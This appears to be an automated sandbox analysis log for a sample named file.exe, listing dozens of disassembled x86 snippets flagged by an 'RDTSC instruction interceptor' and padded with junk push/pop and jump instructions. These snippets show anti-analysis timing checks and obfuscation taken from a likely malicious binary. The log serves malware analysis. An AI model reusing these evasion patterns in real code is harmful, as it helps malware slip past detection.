Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020161 second address: 502021F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b jmp 00007F35A91AEEA0h 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F35A91AEE9Bh 0x00000017 xchg eax, esi 0x00000018 jmp 00007F35A91AEEA6h 0x0000001d mov esi, dword ptr [ebp+08h] 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F35A91AEE9Eh 0x00000027 or ecx, 5EFB3438h 0x0000002d jmp 00007F35A91AEE9Bh 0x00000032 popfd 0x00000033 pushfd 0x00000034 jmp 00007F35A91AEEA8h 0x00000039 or ax, 2E98h 0x0000003e jmp 00007F35A91AEE9Bh 0x00000043 popfd 0x00000044 popad 0x00000045 xchg eax, edi 0x00000046 pushad 0x00000047 push esi 0x00000048 mov eax, edx 0x0000004a pop edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushfd 0x0000004e jmp 00007F35A91AEE9Ah 0x00000053 jmp 00007F35A91AEEA5h 0x00000058 popfd 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502021F second address: 502024F instructions: 0x00000000 rdtsc 0x00000002 call 00007F35A9347BB0h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F35A9347BB7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020390 second address: 50203B3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ecx, 1E2192CDh 0x0000000b popad 0x0000000c jne 00007F361B0BD182h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F35A91AEE9Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203B3 second address: 50203E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F35A9347BADh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203E3 second address: 5020406 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F361B0BD13Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop esi 0x00000014 mov ecx, edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020406 second address: 5020432 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test bl, 00000007h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F35A9347BADh 0x00000014 mov cx, 1177h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020432 second address: 502044E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F35A91AEEA8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010743 second address: 501074A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, dh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501074A second address: 501076D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 mov dl, D8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F35A91AEEA5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501076D second address: 5010874 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov di, C942h 0x0000000f pushfd 0x00000010 jmp 00007F35A9347BB3h 0x00000015 sbb ecx, 2DEEA03Eh 0x0000001b jmp 00007F35A9347BB9h 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 jmp 00007F35A9347BAEh 0x00000028 mov ebp, esp 0x0000002a jmp 00007F35A9347BB0h 0x0000002f and esp, FFFFFFF8h 0x00000032 jmp 00007F35A9347BB0h 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F35A9347BAEh 0x0000003f jmp 00007F35A9347BB5h 0x00000044 popfd 0x00000045 mov bx, cx 0x00000048 popad 0x00000049 push eax 0x0000004a jmp 00007F35A9347BADh 0x0000004f xchg eax, ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 call 00007F35A9347BB3h 0x00000058 pop esi 0x00000059 pushfd 0x0000005a jmp 00007F35A9347BB9h 0x0000005f sub ax, 1FF6h 0x00000064 jmp 00007F35A9347BB1h 0x00000069 popfd 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010874 second address: 5010895 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov edx, 1166307Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F35A91AEEA1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010895 second address: 501094F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 pushfd 0x00000006 jmp 00007F35A9347BB3h 0x0000000b add esi, 0D2F628Eh 0x00000011 jmp 00007F35A9347BB9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp], esi 0x0000001d jmp 00007F35A9347BAEh 0x00000022 mov esi, dword ptr [ebp+08h] 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F35A9347BAEh 0x0000002c xor eax, 46E6E838h 0x00000032 jmp 00007F35A9347BABh 0x00000037 popfd 0x00000038 popad 0x00000039 mov ebx, 00000000h 0x0000003e jmp 00007F35A9347BB2h 0x00000043 test esi, esi 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 mov bx, 6CB0h 0x0000004c pushfd 0x0000004d jmp 00007F35A9347BB9h 0x00000052 jmp 00007F35A9347BABh 0x00000057 popfd 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501094F second address: 5010955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010955 second address: 5010959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010959 second address: 501095D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501095D second address: 5010992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F361B25D5CFh 0x0000000e jmp 00007F35A9347BB7h 0x00000013 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov eax, edx 0x0000001f mov cx, di 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010992 second address: 5010998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010998 second address: 501099C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501099C second address: 50109A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109A0 second address: 50109DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a pushad 0x0000000b jmp 00007F35A9347BACh 0x00000010 mov bx, si 0x00000013 popad 0x00000014 je 00007F361B25D58Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F35A9347BB6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109DB second address: 50109EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50109EA second address: 5010A14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FB6968h], 00000002h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010A14 second address: 5010AB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F35A91AEE9Bh 0x00000008 mov ch, BBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jne 00007F361B0C4825h 0x00000013 jmp 00007F35A91AEE9Bh 0x00000018 mov edx, dword ptr [ebp+0Ch] 0x0000001b jmp 00007F35A91AEEA6h 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F35A91AEE9Eh 0x00000028 adc eax, 1E037598h 0x0000002e jmp 00007F35A91AEE9Bh 0x00000033 popfd 0x00000034 mov ebx, esi 0x00000036 popad 0x00000037 push eax 0x00000038 pushad 0x00000039 mov ebx, 4DDF4C86h 0x0000003e jmp 00007F35A91AEEA7h 0x00000043 popad 0x00000044 xchg eax, ebx 0x00000045 jmp 00007F35A91AEEA6h 0x0000004a xchg eax, ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010AB3 second address: 5010AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010AB8 second address: 5010AEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F35A91AEEA4h 0x00000012 add si, 0BE8h 0x00000017 jmp 00007F35A91AEE9Bh 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010AEB second address: 5010B25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F35A9347BB8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B25 second address: 5010B34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B34 second address: 5010B5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B5A second address: 5010B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B5E second address: 5010B64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BD9 second address: 5010BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BDD second address: 5010BE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BE3 second address: 5010BE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BE9 second address: 5010BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020ABE second address: 5020AC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020AC4 second address: 5020AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020AC8 second address: 5020ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020ACC second address: 5020B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b push edx 0x0000000c pop ecx 0x0000000d pop edi 0x0000000e jmp 00007F35A9347BAAh 0x00000013 popad 0x00000014 mov dword ptr [esp], ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F35A9347BB7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B01 second address: 5020B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B07 second address: 5020B45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F35A9347BB6h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 call 00007F35A9347BADh 0x0000001b pop eax 0x0000001c mov esi, ebx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B45 second address: 5020B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B4B second address: 5020B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020B4F second address: 5020B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0A18 second address: 50A0AEC instructions: 0x00000000 rdtsc 0x00000002 mov esi, 5CE269DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov edi, eax 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 jmp 00007F35A9347BADh 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F35A9347BB1h 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F35A9347BACh 0x00000026 sbb cx, D9C8h 0x0000002b jmp 00007F35A9347BABh 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007F35A9347BB8h 0x00000037 adc cx, DC28h 0x0000003c jmp 00007F35A9347BABh 0x00000041 popfd 0x00000042 popad 0x00000043 mov ebp, esp 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007F35A9347BB4h 0x0000004c and ah, FFFFFF88h 0x0000004f jmp 00007F35A9347BABh 0x00000054 popfd 0x00000055 pushfd 0x00000056 jmp 00007F35A9347BB8h 0x0000005b sbb cl, FFFFFFE8h 0x0000005e jmp 00007F35A9347BABh 0x00000063 popfd 0x00000064 popad 0x00000065 pop ebp 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0AEC second address: 50A0AF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A000F second address: 50A001E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A001E second address: 50A0024 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0024 second address: 50A005A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 call 00007F35A9347BB9h 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A005A second address: 50A009D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F35A91AEE9Ah 0x0000000b xor esi, 088B5AA8h 0x00000011 jmp 00007F35A91AEE9Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c jmp 00007F35A91AEEA4h 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A009D second address: 50A00A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A00A5 second address: 50A00DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F35A91AEEA2h 0x00000013 and si, 0298h 0x00000018 jmp 00007F35A91AEE9Bh 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E69 second address: 5090E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F35A9347BACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E79 second address: 5090E7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E7D second address: 5090E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F35A9347BAAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E93 second address: 5090E98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300DF second address: 50300E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300E3 second address: 50300E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300E9 second address: 50300EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300EF second address: 503011A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov dl, ah 0x0000000f mov si, bx 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F35A91AEE9Ah 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503011A second address: 503011E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503011E second address: 503013B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0280 second address: 50A028F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A028F second address: 50A0295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0295 second address: 50A02B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F35A9347BABh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A02B6 second address: 50A02D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A02D3 second address: 50A0368 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, DE33h 0x0000000f call 00007F35A9347BB8h 0x00000014 pushfd 0x00000015 jmp 00007F35A9347BB2h 0x0000001a and ch, 00000068h 0x0000001d jmp 00007F35A9347BABh 0x00000022 popfd 0x00000023 pop eax 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 jmp 00007F35A9347BAFh 0x0000002c push dword ptr [ebp+0Ch] 0x0000002f pushad 0x00000030 push ecx 0x00000031 push edi 0x00000032 pop eax 0x00000033 pop edi 0x00000034 push ecx 0x00000035 movsx ebx, si 0x00000038 pop eax 0x00000039 popad 0x0000003a push dword ptr [ebp+08h] 0x0000003d pushad 0x0000003e mov ax, bx 0x00000041 mov edi, 67010910h 0x00000046 popad 0x00000047 push F12491F4h 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F35A9347BABh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0368 second address: 50A0390 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov eax, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 0EDC6E0Eh 0x00000012 pushad 0x00000013 call 00007F35A91AEEA3h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0390 second address: 50A0399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0399 second address: 50A039D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03BF second address: 50A03C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03C5 second address: 50A03EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b movzx eax, al 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F35A91AEE9Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03EC second address: 50A03FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03FB second address: 50A0437 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b mov ax, BD33h 0x0000000f push eax 0x00000010 push edx 0x00000011 call 00007F35A91AEEA6h 0x00000016 pop eax 0x00000017 rdtsc
